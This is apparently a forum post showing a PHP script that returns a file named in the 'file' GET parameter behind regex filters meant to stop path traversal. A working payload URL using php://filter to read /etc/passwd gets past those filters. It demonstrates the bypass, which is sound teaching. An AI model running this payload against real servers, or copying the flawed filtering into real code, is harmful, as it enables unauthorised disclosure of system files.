Code:
```php
<?php
$pattern1 = '/[^[:print:]]+/'; // remove non-printable characters
$pattern2 = '/[ \t]+$/';  // remove whitespace at end of string
$pattern3 = '/^[ \t]+/';  // remove whitespace at beginning of string
$pattern4 = '/^[\\\\|\/]+/'; // remove leading slash if one exists
$pattern5 = '/^[\.\.\/|\.\.\\\\]+/'; // remove all ../ and all ..\ if any exist

echo "Welcome";
$data = $_GET['file'];
if (!preg_match($pattern1, $data)){
	if (!preg_match($pattern2, $data)){
		if (!preg_match($pattern3, $data)){
			if (!preg_match($pattern4, $data)){
				if (!preg_match($pattern5, $data)){
					echo file_get_contents($data);
				}
			}
		}
	}
}

?>
```
Payload:  
`http://localhost:8080/php.php?file=php://filter/tmp/resource=/etc/passwd`  
Screenshot:  
[![Payloaded etcpasswd][1]][1]


  [1]: https://i.sstatic.net/nSiek.png